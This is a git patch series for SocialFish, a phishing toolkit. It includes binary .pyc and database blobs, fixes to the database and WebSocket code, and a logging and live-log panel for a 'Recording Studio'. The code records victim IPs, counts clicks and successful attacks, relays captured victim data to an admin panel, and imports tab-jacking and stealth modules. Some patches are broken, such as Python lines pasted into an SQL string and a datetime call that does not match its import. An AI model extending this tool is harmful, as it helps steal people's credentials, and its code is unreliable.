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 H1@<5SU$SFQ diff --git a/core/__pycache__/cleanFake.cpython-312.pyc b/core/__pycache__/cleanFake.cpython-312.pyc index 9a8a59cf73f1d7269baf3993c2d2f63ee90eff9e..9ff0947bc3abb2ae6a35b9bc30c5816c1ca417d5 100644 GIT binary patch literal 920 zcmZ8f%}*0S6rY*hZg&f%s0TqKnFKItOxuHSF~)=#y@^IV2!zPeozj8r?q+6cX#)lm zqwyp+4#q@p8ZP)Ja5GU8h#1L=Cr{pp^)0A(FH$iXg}iX?GyiA)iU9PJUB(yBPE|A>Oe(>T;`*{Yatr8YzixCW>G z0oXcH(5Fcb-e~C#sdXW=f|k)j6!{-*v}}p1nuSzUuR#k&TkFVW)UJtrRnN3ZG5qm{b{7DELCryvuB_9MH04 z4z(4P$`+~|Wa$kqCHLl!7nBK$Ed@{>LVb@GxR8p9vPW&tp%w1BP?_?1&leCNxywA| zR^=QoT+L`GKGqj1rp-0{ZhT8CSW`F&|A{=?++lkyJel54ni(kmd4jK7# zpn>C1o`w#u=omp;#2Opawz_)82DGh#80cwTnBWcL0la*d&oy?@nC%U!g9C{kV29@A ilJAsVc14^5GkW;47Z}vX_$x|&Lw$9<2ak%AaQPQH!st~1 literal 604 zcmX|8zi$&U6n?hTS|Nm#wqy)KU1%$Y!D=pDr$HgSWG z$zYbqK78f_*50VI!U3p7V18#gM%n*BSI+ z9!$;^P2RC4UjUrj0aJ8J$jvFoAA)mu39q>04A!aN9e6~pC$Y=A@Ib6Xm-=pOPZ`x} z$G%Z%wdrrE?ZwT?ZMhnu3XH~{Otg_r-AO{JQ3ifu^E*nSYU%qbydul_ET7)(m?+Nj z*fOY8R=BZt9Z_R;rXIzrp-tWHKanQd7$qhXslhVKm`d%PR|$6EmaOCQf3-28Ci!0UUpZ+!U+U;cY6Y;~BPBcsRXFTsoHnkQagtO@Z+Ob{(| sv|lkg@eK@!0@^npdRJRI?8NFCPE%?xl1>qjA7kI4G|1)H3PUUX1HIgeE&u=k diff --git a/core/__pycache__/dbsf.cpython-312.pyc b/core/__pycache__/dbsf.cpython-312.pyc index 2d2d2016a64d2e956fa96c19c27a2c9237b7873e..b5ae82f1c19de18328d671b2ae8336b954fda936 100644 GIT binary patch delta 648 zcmZWl&ubGw6rR~l;x@b4m}0HL1SV2VwnUdIc#u+mBq@}(sWyptvTSxI$=WpA&TbHD zr9BBDk+jUkqgUyv^dxxDTfu`-dI&+Z|3M@6R1lnP3m$yT%zN*9-+c4l{D}S>kv|6l ze!y&J@0HmPZpkmWeSWK%f_pn(HaL$Vz6{ZIZkP{kL;4FQSbR}7q;2S40RVzEjy~ce zvf&N0)bK7Q03cUfmd6MfGChQ&o;CPvi2i{Q&KagFd>96In|xW|G>cC7W4>C+ETaV7 z6tB|{=hA$gROv(U7EiF@dY|oRPTh7xPZ8r1{Una9uU^h&W-_TfO3f9r`NXJ#Cgo!P;tkzeQsaf1fi)wCbv0+{rdFLa?FtbXz30>Gwqq^zxSFL%^hit% z3nlF66|07OUcGABn0OdZ8Kh~6-s^>Qf;9&(I9joa7wnblZF`WF(SLS~)aMpiw3js< z+h?ynQR$&HYL8`GUjPx~AQKj4md7)Wsk(s>tc&AK}NhQB3! z7ebq{*HYi)fHd-(H2@SJ5dj;I$aF)FM%>2U0irNR;_NsU#+NLkUd0n6N#DznfdYg> GC*{8_vbswE delta 239 zcmcbwa!;1;G%qg~0}$-!Xv+-dnaEeo^oMC;w=-kR#`6tKEH#W-!ju0p$|#hGf)s&3 z4d-e`2#b-S5(qW9{Sq~qCOdM-ZEj_8)kw%?1K~j4C%cc>1|Ixq5i+a0pIN?B)63$;7~;@)@Xt zL6fbB14tEdPi7R7l>up7$xx&M5>WyYzc_4i^HWN5QtgV=CtC^0aJn)wih`v9wh=Rg From fd99e16ffe923ce726810af59a57c49759d93180 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 05:59:29 +0000 Subject: [PATCH 05/11] Fix: safe DB getters; ensure socialfish row; add content block to admin index --- templates/admin/index.html | 3 +++ 1 file changed, 3 insertions(+) diff --git a/templates/admin/index.html b/templates/admin/index.html index 8420cff..4676338 100755 --- a/templates/admin/index.html +++ b/templates/admin/index.html @@ -105,6 +105,7 @@

@@ -247,6 +248,8 @@

Successful attacks

+ {% endblock %} +
From 870d80236a26edac1aa5cc38c55070183ab3fce8 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 08:35:55 +0000 Subject: [PATCH 06/11] fix: ensure_socialfish_row uses connection.execute and cursor for fetchone --- SocialFish.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/SocialFish.py b/SocialFish.py index 93ead71..3283b3d 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -66,19 +66,20 @@ def teardown_request(exception): g.db.close() # Ensure `socialfish` table has a default row and provide safe getters -def ensure_socialfish_row(cur): +def ensure_socialfish_row(conn): try: - cur.execute("""CREATE TABLE IF NOT EXISTS socialfish ( + # `conn` may be a sqlite3.Connection; use its execute which returns a cursor + conn.execute("""CREATE TABLE IF NOT EXISTS socialfish ( id integer PRIMARY KEY, clicks integer, attacks integer, token text ); """) - cur.execute("SELECT id FROM socialfish WHERE id = 1") + cur = conn.execute("SELECT id FROM socialfish WHERE id = 1") if cur.fetchone() is None: t = genToken() - cur.execute('INSERT INTO socialfish(id,clicks,attacks,token) VALUES(?,?,?,?)', (1, 0, 0, t)) - g.db.commit() + conn.execute('INSERT INTO socialfish(id,clicks,attacks,token) VALUES(?,?,?,?)', (1, 0, 0, t)) + conn.commit() except Exception as e: print(f'[-] ensure_socialfish_row error: {e}') From 16a8c4208f3c9a015d724eb859728317c8405ba9 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 08:41:05 +0000 Subject: [PATCH 07/11] chore(db): create config table in migration --- core/db_migration.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/core/db_migration.py b/core/db_migration.py index d5b347a..89fac61 100644 --- a/core/db_migration.py +++ b/core/db_migration.py @@ -60,6 +60,16 @@ def migrate_db(database_path): id INTEGER PRIMARY KEY, email VARCHAR, name TEXT, + + # Config table - stores site mode and clone URL settings + cur.execute(""" + CREATE TABLE IF NOT EXISTS config ( + id INTEGER PRIMARY KEY, + url TEXT, + status TEXT, + beef TEXT + ) + """) obs TEXT ) """) From 574cf57693df9a52f6c8b3dd6a1bf49dd2764fd8 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 08:45:25 +0000 Subject: [PATCH 08/11] fix(web): select status,url from config and use connection cursor for fetchone --- SocialFish.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/SocialFish.py b/SocialFish.py index 3283b3d..b5ccd64 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -182,12 +182,12 @@ def admin(): @app.route("/") def getLogin(): # Get config from database instead of global variables - cur = g.db - config = cur.execute("SELECT * FROM socialfish WHERE id = 1").fetchone() + conn = g.db + config = conn.execute("SELECT * FROM socialfish WHERE id = 1").fetchone() # Retrieve status and URL from config or use defaults - cur.execute("SELECT url, status, beef FROM config LIMIT 1") + cur = conn.execute("SELECT status, url, beef FROM config LIMIT 1") conf_row = cur.fetchone() - + if conf_row: sta, url, beef = conf_row[0], conf_row[1], conf_row[2] else: From 6ddf71d8ff9baae8a17c395c2453b2a9c1a9482f Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 08:59:09 +0000 Subject: [PATCH 09/11] fix(websocket): avoid broadcast kw arg; safer emit with fallback --- SocialFish.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/SocialFish.py b/SocialFish.py index b5ccd64..4e2d6b9 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -1447,12 +1447,18 @@ def webhook_handler(): print(f"[+] Webhook data received from {victim_ip}: {webhook_type}") # Broadcast to admin panel via WebSocket - socketio.emit('webhook_data', { + # Avoid passing `broadcast` keyword directly to ensure compatibility + payload = { 'type': webhook_type, 'victim_ip': victim_ip, 'data': data, 'timestamp': date.today().isoformat() - }, broadcast=True) + } + try: + socketio.emit('webhook_data', payload) + except TypeError: + # Fallback for older/newer server implementations + socketio.server.emit('webhook_data', payload) return jsonify({'status': 'ok'}) From b9516d5703b88ba7cea716fa4c6ba70694b5839d Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 09:02:29 +0000 Subject: [PATCH 10/11] chore: commit all workspace changes (migration, DB fixes, websocket emit fix) --- core/__pycache__/db_migration.cpython-312.pyc | Bin 8635 -> 8854 bytes core/db_migration.py | 20 +++++++++--------- database.db | Bin 90112 -> 94208 bytes 3 files changed, 10 insertions(+), 10 deletions(-) diff --git a/core/__pycache__/db_migration.cpython-312.pyc b/core/__pycache__/db_migration.cpython-312.pyc index ee1ede77b091706ca61bf5d3f7b2b7268f569532..5e693d5282c92de459703c5828ecadbe57e19341 100644 GIT binary patch delta 131 zcmdn(Jk6EwG%qg~0}w?0Zp&P#w2{w|kx_4R0OKa6$vsSBj6##YGlz-_*D%axn9H=9 z5u}iTfsvt7L{oHgBFl9q#wC+CvZzj8C2TR7mz87k3@Lt=lEjkI$rrgqSdvmx(ooN$?ngnC#WOar9%_kLRGP1j{Fgh`Q@R^*cqzeGlF&3Qw diff --git a/core/db_migration.py b/core/db_migration.py index 89fac61..98c6857 100644 --- a/core/db_migration.py +++ b/core/db_migration.py @@ -53,6 +53,16 @@ def migrate_db(database_path): port TEXT ) """) + + # Config table - stores site mode and clone URL settings + cur.execute(""" + CREATE TABLE IF NOT EXISTS config ( + id INTEGER PRIMARY KEY, + url TEXT, + status TEXT, + beef TEXT + ) + """) # Original professionals table cur.execute(""" @@ -60,16 +70,6 @@ def migrate_db(database_path): id INTEGER PRIMARY KEY, email VARCHAR, name TEXT, - - # Config table - stores site mode and clone URL settings - cur.execute(""" - CREATE TABLE IF NOT EXISTS config ( - id INTEGER PRIMARY KEY, - url TEXT, - status TEXT, - beef TEXT - ) - """) obs TEXT ) """) diff --git a/database.db b/database.db index cdfd8d86ea1131cadd538d9fbf49f5daac103cda..891890072665c54cbbf859b6b534541d93921bd9 100644 GIT binary patch delta 175 zcmZoTz}oPDb%L~@AOiz~I1s~t;6xo`M!}5 Date: Sat, 7 Feb 2026 09:24:47 +0000 Subject: [PATCH 11/11] feat: add structured logging and live recording logs UI - Convert setup.py to use structured logging (logger.info/error/exception) - Add live activity log panel to Recording Studio showing: * Real-time events (forms, cookies, network requests) * POST payload injections * Color-coded event types (info, success, error, network, form, payload, cookie) * Clear and pause/resume controls - Add emit_recording_log() function to SocialFish.py for WebSocket communications - Add logging configuration to SocialFish.py main module --- SocialFish.py | 27 +++++- setup.py | 63 +++++++------- templates/admin/recording_studio.html | 116 +++++++++++++++++++++++++- 3 files changed, 170 insertions(+), 36 deletions(-) diff --git a/SocialFish.py b/SocialFish.py index 4e2d6b9..3773e2b 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -20,7 +20,7 @@ from core.recorder_selenium import SeleniumRecorder from core.mock_server import MockLoginServer from core.advanced_attacks import TabJacking, FileUploadInjection, AdvancedStealth, CAPTCHASolver -from datetime import date +from datetime import date, datetime from sys import argv, exit, version_info import colorama import sqlite3 @@ -29,8 +29,13 @@ import json import hashlib import asyncio +import logging from pathlib import Path +# Configure logging +logger = logging.getLogger("SocialFish") +logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(name)s %(message)s") + # Verificar argumentos if len(argv) < 2: print("./SocialFish \n\ni.e.: ./SocialFish.py root pass") @@ -1233,6 +1238,18 @@ def mock_server_start(): return jsonify({'status': 'error', 'message': str(e)}), 500 # Recording Studio - Choose recorder type +def emit_recording_log(event_type, message, **kwargs): + """Emit recording events to connected clients via WebSocket""" + try: + socketio.emit(event_type, { + 'message': message, + 'type': event_type, + 'timestamp': datetime.datetime.now().isoformat(), + **kwargs + }, broadcast=False) + except Exception as e: + logger.debug(f"Failed to emit WebSocket event {event_type}: {e}") + @app.route("/studio/recorder", methods=['GET', 'POST']) @flask_login.login_required def recording_studio(): @@ -1252,13 +1269,19 @@ def recording_studio(): try: if recorder_type == 'selenium': + emit_recording_log('recorder_log', f"Initializing Selenium recorder ({browser})") recorder = SeleniumRecorder(browser=browser, headless=headless) recorder.init_driver() + emit_recording_log('recorder_log', "Browser driver initialized") success = recorder.record_flow(target_url) + emit_recording_log('recorder_log', f"Recording completed (found {len(recorder.detected_forms or [])} forms)") else: # Default Playwright + emit_recording_log('recorder_log', "Initializing Playwright recorder") recorder = PlaywrightRecorder(DATABASE, headless=headless) + emit_recording_log('recorder_log', "Launching browser instance") success = asyncio.run(recorder.record_flow(target_url)) + emit_recording_log('recorder_log', f"Recording completed (found {len(recorder.detected_forms or [])} forms)") return jsonify({ 'status': 'ok', @@ -1266,6 +1289,8 @@ def recording_studio(): 'message': f'Recording started with {recorder_type}' }) except Exception as e: + emit_recording_log('recording_error', str(e)) + logger.exception(f"Recording error: {e}") return jsonify({'status': 'error', 'message': str(e)}), 500 # Attack Payloads Dashboard diff --git a/setup.py b/setup.py index 26d4fdd..f0406a5 100644 --- a/setup.py +++ b/setup.py @@ -8,9 +8,13 @@ import sys import subprocess from pathlib import Path +import logging + +logger = logging.getLogger("setup") +logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s") def print_banner(): - print(""" + logger.info(""" ╔═══════════════════════════════════════════╗ ║ SocialFish v3.0 Setup Wizard ║ ║ Modern Dynamic Phishing Toolkit ║ @@ -20,13 +24,13 @@ def print_banner(): def check_python(): """Verify Python 3.8+""" if sys.version_info < (3, 8): - print("[-] Python 3.8+ required") + logger.error("Python 3.8+ required") exit(1) - print(f"[+] Python {sys.version.split()[0]} ✓") + logger.info(f"Python {sys.version.split()[0]} ✓") def install_dependencies(): """Install required packages""" - print("\n[*] Installing dependencies...") + logger.info("\n[*] Installing dependencies...") deps = [ 'flask==2.3.3', @@ -43,45 +47,45 @@ def install_dependencies(): for dep in deps: try: __import__(dep.split('>=')[0].split('==')[0].replace('-', '_')) - print(f"[+] {dep.split('>=')[0]} already installed") + logger.info(f"[+] {dep.split('>=')[0]} already installed") except ImportError: - print(f"[*] Installing {dep}...") + logger.info(f"[*] Installing {dep}...") subprocess.run([sys.executable, '-m', 'pip', 'install', dep], check=True) - print("[+] All dependencies installed ✓") + logger.info("[+] All dependencies installed ✓") def install_playwright_browsers(): """Install Playwright browsers""" - print("\n[*] Installing Playwright browsers...") - print(" (This may take a few minutes)") + logger.info("\n[*] Installing Playwright browsers...") + logger.info(" (This may take a few minutes)") try: from playwright.sync_api import sync_playwright subprocess.run([sys.executable, '-m', 'playwright', 'install', 'chromium'], check=True) - print("[+] Chromium browser installed ✓") + logger.info("[+] Chromium browser installed ✓") except Exception as e: - print(f"[-] Failed to install Playwright browsers: {e}") - print("[!] You can manually run: playwright install chromium") + logger.exception("Failed to install Playwright browsers: %s", e) + logger.warning("You can manually run: playwright install chromium") def initialize_database(): """Initialize database schema""" - print("\n[*] Initializing database...") + logger.info("\n[*] Initializing database...") try: from core.db_migration import migrate_db db_path = os.getenv("DATABASE", "./database.db") migrate_db(db_path) - print(f"[+] Database initialized: {db_path} ✓") + logger.info(f"[+] Database initialized: {db_path} ✓") except Exception as e: - print(f"[-] Database initialization failed: {e}") + logger.exception("Database initialization failed: %s", e) return False return True def setup_tunneling(): """Interactive tunnel setup""" - print("\n[*] Tunnel Setup (Optional)") - print("You can setup tunneling now or skip for local testing.") + logger.info("\n[*] Tunnel Setup (Optional)") + logger.info("You can setup tunneling now or skip for local testing.") choice = input("\nSetup tunneling? (ngrok/cloudflared/skip) [skip]: ").strip().lower() @@ -90,18 +94,18 @@ def setup_tunneling(): from core.tunnel_manager import TunnelManager manager = TunnelManager() manager.interactive_setup() - print("[+] Tunnel configured ✓") + logger.info("[+] Tunnel configured ✓") except Exception as e: - print(f"[-] Tunnel setup failed: {e}") + logger.exception("Tunnel setup failed: %s", e) else: - print("[!] Using localhost only. You can setup tunneling later with:") - print(" python core/tunnel_manager.py setup") + logger.warning("Using localhost only. You can setup tunneling later with:") + logger.warning(" python core/tunnel_manager.py setup") def generate_config(): """Create .env file if needed""" env_file = Path(".env") if not env_file.exists(): - print("\n[*] Creating .env 